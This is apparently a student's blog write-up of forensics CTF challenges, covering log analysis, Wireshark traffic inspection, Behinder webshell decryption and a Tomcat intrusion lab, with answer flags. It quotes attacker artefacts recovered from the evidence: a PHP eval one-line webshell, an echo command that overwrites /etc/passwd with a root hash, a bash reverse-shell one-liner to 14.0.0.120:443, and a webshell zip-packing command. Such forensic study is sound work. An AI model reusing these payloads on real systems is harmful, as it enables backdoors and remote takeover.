前言
最近在學長分享應急響應與電子取證的知識,又恰逢期末周沒有課,記錄自己在取證道路的成長。
linux-basic-command
下載附件,得到Apache 服務器訪問日志文件,根據題目要求找出排名前五的ip,題目提示寫腳本,腳本如下
from collections import Counterdef extract_ips_from_log(log_file_path):ip_list = []with open(log_file_path, 'r', encoding='utf-8') as file:for line in file:# 提取 IP 地址(Apache日志默認第一個字段是IP)parts = line.split()if not parts:continueip = parts[0]# 檢查時間戳是否在2015年(格式如 [12/Dec/2015:18:25:11 +0100])if "2015" in line:ip_list.append(ip)return ip_listdef get_top_ips(ip_list, top_n=5):ip_counter = Counter(ip_list)top_ips = ip_counter.most_common(top_n)return [ip for ip, count in top_ips]def main():log_file_path = r"D:\取證\access.log" # 使用原始字符串(raw string)避免轉義問題ip_list = extract_ips_from_log(log_file_path)top_ips = get_top_ips(ip_list)# 輸出結果,用逗號分隔print(",".join(top_ips))if __name__ == "__main__":main()
注意修改文件路徑即可。
flag{148.251.50.49,213.150.254.81,37.1.206.196,178.191.155.244,195.212.98.190}.
ire7-windows-log
下載得到日志文件,先點開看到信息,應該是跟登錄有關,看了看信息發現登錄失敗,并且有關鍵字“審核失敗”,那我們直接搜"審核成功"發現key
key{5sBgaXqR}
wireshark0
根據題目提示找到key1,直接搜索字符串“key1”在tcp流88找到答案?HYDw29eP
?wireshark0.5
題目描述為用戶登入,其實可以先搜包含login的數據包,?http contains "login",
?大眼一看這么多get請求中夾著post,直接去看post請求的包,果然發現了密碼
flag{0p-0p-0p-}?
linux-log
依據分析日志,我是先看到最后一條日志,
Nov 20 12:05:26 student sshd[2052]: Accepted password for root from 192.168.4.223 port 54847 ssh2
Nov 20 12:05:26 student sshd[2052]: pam_unix(sshd:session): session opened for user root by (uid=0)
這應該是登錄成功了,提交時間flag{120526},發現不對,然后我就搜索了"Accepted",然后看到第一出現的日志
Nov 19 17:28:47 student sshd[5215]: Accepted password for root from 192.168.4.23 port 60563 ssh2
Nov 19 17:28:47 student sshd[5214]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.4.23 ?user=root
Nov 19 17:28:47 student sshd[5215]: pam_unix(sshd:session): session opened for user root by (uid=0)
提交答案 flag{172847}正確
wireshark1
依舊老樣子,先搜關鍵字key,發現www0587.zip,非常可疑,然后看看跟這個壓縮包有關的數包,http contains "www0587.zip",果然就兩個數據包,一個get請求,一個post請求,先看post請求,
?執行了一條命令
act=shell&cwd=%2Fvar%2Fwww%2Fhtml%2F&p1=+zip+-P+Adm1n%21+www0587.zip+-r+%2Fvar%2Fwww%2Fhtml&p2=&p3=&p4=&charset=gbk
-
使用?
zip
?命令打包網站目錄 (/var/www/html
) -
設置壓縮包密碼為?
Adm1n!
(常見弱密碼) -
生成名為?
www0587.zip
?的壓縮文件(可能用于后續下載)
然后是get請求,打開看到亂碼,猜測key應該在壓縮包里。然后就想辦法導出壓縮包。在wireshark中能夠將流量包中zip文件導出,具體步驟
捕獲或打開包含文件傳輸的流量包?(如HTTP、FTP、SMB等協議)點擊菜單欄的?"文件(File)" > "導出對象(Export Objects)"根據傳輸協議選擇相應選項(如HTTP、SMB等)在彈出的窗口中,Wireshark會列出所有可導出的對象查找并選擇您需要的壓縮包文件(可通過文件類型或大小識別)點擊"保存(Save)"或"保存所有(Save All)"按鈕選擇保存位置并確認。
使用其他方法可能會得到數據損壞的文件,導出后也知道了密碼,就解壓找key就行了
在Th1sLSth3key文件里
key:4tEm21x5
welog1
依舊是熟悉的日志文件,我一般都是直接看最后一個,發現狀態碼200,直接讓ai分析一下日志,
使用into outfile
將惡意代碼寫入服務器,
惡意代碼就是<?php @eval($_POST['3b90d75de248ce55b66e8e30873b6000']);?>,一句話木馬,那密碼就是3b90d75de248ce55b66e8e30873b6000
flag{3b90d75de248ce55b66e8e30873b6000}
wireshark2.1
根據題目提示找key4的值,直接搜字符串key4,
發現key4.txt,根據上面寫的方法導出文件,題目有給出了壓縮包密碼,得到flag
C8iuACXB
data-recovery
題目要求恢復磁盤文件,需要用工具DiskGenius,具體操作流程如下(下面這幾張圖是偷學長的,他不知道,,,)
?然后把壓縮包解壓flag就在里面了。
flag{73D3DA963F7505E9}
wireshark2?
題目給了兩個流量包,通過某種特殊協議傳輸的敏感數據key1的值。老樣子直接搜字符串key1,在第一個數據包沒搜到,再第二個數據包發現可疑數據
?讓ai分析后發現這段十六進制數據轉換為ASCII文本后,顯示的是一個Linux/Unix系統中的目錄列表。執行了ls命令,然后繼續往下看,ls命令執行后又執行了 cat key.txt,內容為
welcome_to_cisp-ire_and_the_key1_is_6r56FeX8
答案就是6r56FeX8
所以第一個流量包有啥用??
wireshark3
給個流量包,根據上面幾題來看,我直接搜key關鍵字,果然有發現
key:wHa1_a_bUsY_dAy!!
我以為是答案發現不對, 然后看協議分組統計發現有4個POST請求,
發現了壓縮包,老樣子導出壓縮包,上面說的方法不行,然后又去看了其大佬的博客,?方法如下
在流量包中點Media Type
然后右鍵,選導出分組字節流,保存為zip文件,解壓發現需要密碼,就是上面的key,解壓得到ZmxhZ3syNTQ2YTZkODBjNGRiNDg2MzVlYjZ9,一眼base64,解碼得到flag
flag{2546a6d80c4db48635eb6}
2024長城杯決賽-溯源取證
背景材料
您的同事李白在運維一臺部署了移動應用服務端的linux服務器時發現了異常,好像被黑客攻擊了。小李通過簡單分析,發現可能是由于公司的移動應用和其服務端程序都存在安全問題導致的。小李將當天可能與攻擊相關的流量導出,并與移動應用一起打包壓縮,你可以下載分析,也可以登錄此服務器進行攻擊溯源、排查等,提供了SSH和VNC訪問的方式供您和您的團隊進行分析取證。
條件限制,沒有靶機,但是用流量包也可以做
關卡1
要找出黑客攻擊的兩個ip,在wireshark中,統計->端點可以列出所有ip
?當時以為前兩個就是,提交發現不對,所以只能一個一個分析。
先看ip為202.1.1.1的流量包 ip.src==202.1.1.1,
區分一下ip.addr和ip.src
條件 | 定義 | 包含的 IP 地址 |
---|---|---|
ip.addr | 匹配數據包中任何與 IP 相關的地址,包括源 IP 和目的 IP。 | 同時涵蓋 ?ip.src? 和 ?ip.dst?。 |
ip.src | 僅匹配數據包的源 IP 地址,即發送該數據包的設備 IP。 | 僅指向數據包的發送方 IP。 |
?ip.addr == X? 等價于 ip.src == X || ip.dst == X?(||? 表示 “或” 關系)。
?而我們要找攻擊者ip,所以用ip.src==202.1.1.1,服務器與客戶端交互,服務器中也會有攻擊數據,
看到好多post請求,而且執行了命令,這個就是黑客ip,而202.1.1.66就是受害者,
然后看202.1.129和202.1.1.130 ,看202.1.129發現執行了命令
所以202.1.1.129也是黑客ip
綜上 202.1.1.1 202.1..1.129
關卡2
?要找登錄密碼,直接 http contains "login",然后一個一個看,在第二個包中發現flag
?{"flag":"password663399"}
關卡3
跟題目提示,找我無上上傳權限的文件,直接搜 http contains "無上傳權限",
文件名?pic.jpg
關卡4?
找api地址,就是上面那個圖。答案就是??http://202.1.1.66:8080/api/upload
關卡5
要找上傳路徑,肯定是上傳成功了,http.response.code==200,在tcp流51號找到了上傳路徑,http://202.1.1.66:8080/static/s74e7vwmzs21d5x6.jsp 但是沒有靶機,答案是/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp
關卡6
這一關要找密鑰,那就要看看那個木馬了,讓ai分析一下得到傳入bing_pass生成密鑰,提交后正確 答案是bing_pass
關卡7
既然文件都上傳進去了,那我們要找相關數據包? http.request.method == "POST" && http.request.uri contains "s74e7vwmzs21d5x6.jsp",先看第一個包,給出了密鑰,第二個是正確的b99f657b04941030,然后就是冰蝎流量分析,冰蝎一般連接服務端之后會默認發一個狀態檢測包,因此第一個包一
般不用看。看第二個包即可
有密鑰有密文解密就行,
這是class文件,反編譯得到源碼,我用的是jadx反編譯,得到答案 pwd
關卡8
繼續看下一個流量包,按照上面的步驟,這次執行了whoami
?看響應體即可,這里把數據保存為原始數據,然后在AES解密,(圖示網站AES在線解密 AES在線加密 Aes online hex 十六進制密鑰 - The X 在線工具)
base64解密 得到 tomcat這就是答案
關卡9
還是繼續往下看 ,在tcp流174 中執行了4條命令,'cat /etc'? 'ls'? 'ls /etc'? ?'cat /etc/redhat-release'。而最后一條命令就是用于查看?Red Hat Enterprise Linux (RHEL)?或其衍生發行版(如 CentOS、Fedora)的系統版本信息。同上方法解密響應體得到答案?
CentOS Linux release 7.4.1708 (Core)
關卡10
在看流量包是看到
GET /static/secert.file HTTP/1.1
這個路徑和第5題有點像,在同一目錄下/usr/local/tomcat/webapps/ROOT/static/secert.file
關卡11
http.request.method == "POST" && http.request.uri contains "s74e7vwmzs21d5x6.jsp",
繼續向下看后黑客又執行了幾條命令,在tcp流283中,
?響應體顯示succcess,連接成功,看tcp 284就行
?執行了命令cat /etc/passwd
關卡12
在執行了cat /etc/passwd,黑客又執行了
echo -e "root:\$6\$KHysqjWMnoaHJ4QW\$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\navahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\npolkitd:x:999:998:User for polkitd:/:/sbin/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin\npostfix:x:89:89::/var/spool/postfix:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologin\ngeoclue:x:998:996:User for geoclue:/var/lib/geoclue:/sbin/nologin\nrtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin\ncolord:x:997:995:User for colord:/var/lib/colord:/sbin/nologin\npulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin\ngdm:x:42:42::/var/lib/gdm:/sbin/nologin\nchrony:x:996:992::/var/lib/chrony:/sbin/nologin\ntomcat:x:1000:1000::/home/tomcat:/bin/bash\n" > /etc/passwd
這條命令替換了root用戶的密碼哈希值,所以通過/etc/passwd文件修改密碼
關卡13
已知密文是$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..
解密就行了,看大佬都是用hashcat但是我復現光出錯,我再去沉淀沉淀。。。
密碼是123456(別問我怎么知道的)
關卡14
上面得到ip和端口
202.1.1.129:4444,但是不對,搜索該ip后發現不但有4444端口,還有9999端口
?答案是202.1.1.129:9999
關卡15
反連的ip和端口我們已經知道了,直接找 tcp.port==9999,在tcp流536中找到答案
rpm -qa | grep pam
rpm -qa | grep pam
?是 Linux 系統中用于查詢已安裝的?PAM (Pluggable Authentication Modules)?相關軟件包的命令。下面我將詳細解釋這個命令的作用和典型輸出
關卡16
?這一看正好題目給了這倆文件,已提交果然對了
pam_unix.so
關卡17
這就要用到題目給的那兩個文件了,這個文件可以用IDA打開,我學的web這IDA也不會用,只好求助我學逆向的同學,然后找到了,這個字符串比較,如果不相等就退出
?ssh_back_pwd就是密碼
關卡18
如上圖,文件就是/tmp/.sshlog
流量特征分析-常見攻擊事件 tomcat - From 玄機
tomcat-1
讓分析可疑ip,先統計分析一下
?看最多的那兩個先看14.0.0.120
ip.src==14.0.0.120;
看到許多SYN包,猜測是SYN Flood 攻擊
流量特征:
發送大量 SYN 包,嘗試建立連接但不完成三次握手過程(半開連接)。
TCP SYN 包的來源端口和目標端口多為隨機,常見目標端口為 21(FTP)、22(SSH)、80(HTTP)、443(HTTPS)等常見服務端口。
如果目標主機回復 SYN-ACK 包,Nmap 會立即發送 RST 包來中斷連接。
nmap默認掃描就是SYN掃描,數據包中User-Agent都是帶有特征的
那這個就是攻擊者ip
flag{14.0.0.120}
tomcat-2
然分析地址,在線網站查詢一下就行ip查詢 查ip 網站ip查詢 同ip網站查詢 iP反查域名 iP查域名 同ip域名
flag{guangzhou}
tomcat-3
1. 常見的 Web 管理端口
通常,Web 服務器管理面板會使用以下常見端口:
80(HTTP):不安全的網頁訪問。
443(HTTPS):安全的網頁訪問。
8080:常見的備用 HTTP 端口。
8443:常見的備用 HTTPS 端口。
2082, 2083:cPanel 默認管理端口。
10000:Webmin 默認管理端口。
8006:Proxmox Virtual Environment 管理端口。
3000:用于許多自定義和開發中的管理面板,如 Grafana。
同樣的我們也可以通過一下特征來識別管理面板;
根據流量內容,可以識別是否是管理面板的訪問請求。通常,管理面板的 URL 路徑可能包含如下關鍵詞:admin
login
cpanel
webmin
dashboard
manage
搜索'admin'發現就是8080端口,
flag{8080}
tomcat-4
上文說到黑客應該是用NMAP掃描目錄了這時候就可以看一下User-Agent,帶有特征的
要看原地址是黑客ip的流量包
flag{gobuster}
tomcat-5?
第一想法是直接搜login http.contains "login",沒有找到答案,然后找了一圈啥也沒找到,最后分析協議是發現只有一個POST請求,看一下,發現Authorization
HTTP基本認證是一種常見的用戶認證方法。它的工作原理是通過HTTP頭部的 Authorization 字段來傳遞用戶的憑證(用戶名和密碼)。Authorization 字段緊跟著一個 Basic 關鍵字,后面跟著一串Base64編碼的字符串。
解碼得到flag
flag{admin-tomcat}
tomcat-6?
還是那個流量包,有個文件JXQOZY.war,
flag{JXQOZY.war}
tomcat-7
這個是真不會,無從下手,然后看大佬博客
在流量中,任何涉及到管理接口、上傳文件、或執行命令的請求都需要重點關注。例如:
POST /manager/html/upload:上傳文件請求
/bin/sh 或 /bin/bash:執行命令的請求
提權后的持久化手段
攻擊者常用的方法包括:
上傳惡意文件:例如,WAR文件中可能包含shell腳本或其他惡意代碼。
定時任務(cron job):通過定時任務執行惡意代碼。
后門程序:例如,將惡意程序放置在 /bin 或其他系統目錄。
直接搜“/bin"得到答案
flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}?
結語
行文至此,大一下學期的取證就學到這,接下來要認真準備期末了。說來當時學長剛開始講取證的時候,也沒有太大的興趣,后來自己在刷雜項題的時候,看到了取證題腦袋一熱就想學,就以此篇文章為我學取證的開篇。剩下的題目等期末考試后再寫。
路漫漫其修遠兮,吾將上下而求索。(最后也祝愿大家期末考試門門都考90以上!!)